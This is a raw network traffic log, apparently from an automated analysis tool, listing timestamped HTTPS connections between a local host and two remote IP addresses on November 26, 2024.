Nov 26, 2024 08:55:46.738420010 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.738848925 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.738854885 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.813941002 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.814562082 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.814594030 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.815217018 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.815222025 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.922626019 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.922794104 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.922854900 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.956958055 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.956978083 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.956989050 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.956995010 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.978626966 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.978668928 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.978841066 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.997510910 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.997524977 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.182462931 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.183165073 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.184134960 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.187697887 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.191140890 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.241491079 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.241493940 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.258666992 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.261596918 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.263195992 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.336308002 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.336348057 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.336909056 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.336922884 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.336967945 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.337641954 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.337683916 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.339826107 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.339903116 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.339993954 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.340008020 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:47.343508959 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.343523026 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.345000982 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.345006943 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.345500946 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.345523119 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.345532894 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.345537901 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.350231886 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.350327015 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.350421906 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.350792885 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.350825071 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.351516962 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.351516962 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.351543903 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.351557016 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.354485035 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.354535103 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.354697943 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.354902983 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.354919910 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.480319977 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.484462976 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.484499931 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.485264063 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.485280037 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.553004980 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:47.679944038 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.683027029 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.683079004 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.683141947 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.684005022 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.684022903 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.684036970 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.684042931 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.686485052 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.686527967 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.686630964 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.687036037 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.687050104 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.933909893 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.937050104 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.937107086 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.941066980 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.941067934 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.941132069 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.941157103 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.949214935 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.949268103 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:47.949915886 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.950089931 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:47.950107098 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:48.425438881 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:48.425586939 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:48.426706076 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:48.426897049 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:48.426913977 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:48.850831985 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:48.855839014 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:48.855853081 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:48.856412888 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:48.856415987 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.139241934 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.139698982 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.139784098 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.140242100 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.140258074 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.200531006 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.216893911 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.216919899 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.217405081 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.217411041 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.302992105 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.306571007 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.306721926 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.306761026 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.306772947 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.306879997 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.306898117 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.306906939 CET	49914	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.306912899 CET	443	49914	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.309823036 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.309875011 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.309938908 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.310172081 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.310184956 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.534348011 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.560684919 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.560709000 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.561312914 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.561317921 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.585350037 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.588625908 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.588717937 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.597105980 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.597160101 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.597209930 CET	49915	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.597227097 CET	443	49915	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.613341093 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.613400936 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.613452911 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.618012905 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.618041039 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.653973103 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.657155037 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.657242060 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.713320017 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.713340044 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.713357925 CET	49916	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.713362932 CET	443	49916	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.716372013 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.716439009 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.716512918 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.724021912 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.724045992 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.740123034 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.943083048 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.943140030 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.943577051 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:49.943582058 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.987700939 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.991028070 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:49.991137028 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.003418922 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.003443003 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.003453970 CET	49918	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.003460884 CET	443	49918	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.006330013 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.006382942 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.006509066 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.007229090 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.007244110 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.267889977 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.271055937 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.271100998 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.271114111 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.271157026 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.271228075 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.271248102 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.271261930 CET	49919	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.271266937 CET	443	49919	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.275403023 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.275441885 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:50.275536060 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.275646925 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:50.275655985 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.097381115 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.098041058 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.098071098 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.098524094 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.098530054 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.402206898 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.402663946 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.402697086 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.403110981 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.403121948 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.504188061 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.504600048 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.504627943 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.505072117 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.505076885 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.541830063 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.545355082 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.545412064 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.545456886 CET	49923	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.545475006 CET	443	49923	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.547966003 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.548059940 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.548139095 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.548245907 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.548265934 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.902184963 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.902379036 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.902441025 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.902522087 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.902543068 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.902553082 CET	49924	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.902558088 CET	443	49924	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.903851986 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.904242992 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.904261112 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.904674053 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.904678106 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.906130075 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.906172991 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.906331062 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.906532049 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.906548977 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.986475945 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.986658096 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:51.986722946 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:51.991733074 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.019778013 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.019821882 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.019835949 CET	49925	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.019843102 CET	443	49925	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.027695894 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.027709007 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.028131962 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.028136969 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.080883980 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.081018925 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.081088066 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.088028908 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.088068962 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.358891964 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.362106085 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.362166882 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.362263918 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.426116943 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.429912090 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.431051016 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.498722076 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.498759031 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.498778105 CET	49926	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.498785019 CET	443	49926	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.500070095 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.500070095 CET	49927	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.500096083 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.500106096 CET	443	49927	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.583667994 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.583718061 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.583780050 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.590209961 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.590225935 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.591130018 CET	49933	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.591186047 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:52.591240883 CET	49933	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.591418982 CET	49933	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:52.591439962 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.453082085 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.453603983 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.453638077 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.454025984 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.454051018 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.691904068 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.692387104 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.692403078 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.692847013 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.692853928 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.869029045 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.869550943 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.869585991 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.870013952 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.870023012 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.897774935 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.907151937 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.907217979 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.907238960 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.907285929 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.907490969 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.907536983 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.907556057 CET	49929	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.907563925 CET	443	49929	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.910073996 CET	49934	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.910124063 CET	443	49934	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:53.910271883 CET	49934	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.910559893 CET	49934	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:53.910573006 CET	443	49934	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.136110067 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.139132023 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.139209986 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.139349937 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.139367104 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.139375925 CET	49930	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.139379978 CET	443	49930	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.142540932 CET	49935	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.142592907 CET	443	49935	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.142718077 CET	49935	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.142841101 CET	49935	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.142848969 CET	443	49935	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.313582897 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.316935062 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.316998005 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.317110062 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.317157984 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.317187071 CET	49931	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.317222118 CET	443	49931	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.319617987 CET	49936	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.319691896 CET	443	49936	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.319880962 CET	49936	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.320075035 CET	49936	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.320108891 CET	443	49936	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.373667002 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.373835087 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.374129057 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.374160051 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.374581099 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.374587059 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.374602079 CET	49933	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.374640942 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.375062943 CET	49933	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.375070095 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.818051100 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.820627928 CET	443	49933	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.821197033 CET	443	49932	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:54.821257114 CET	49932	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:54.823729038 CET	443	49933	13.107.246.63	192.168.2.4
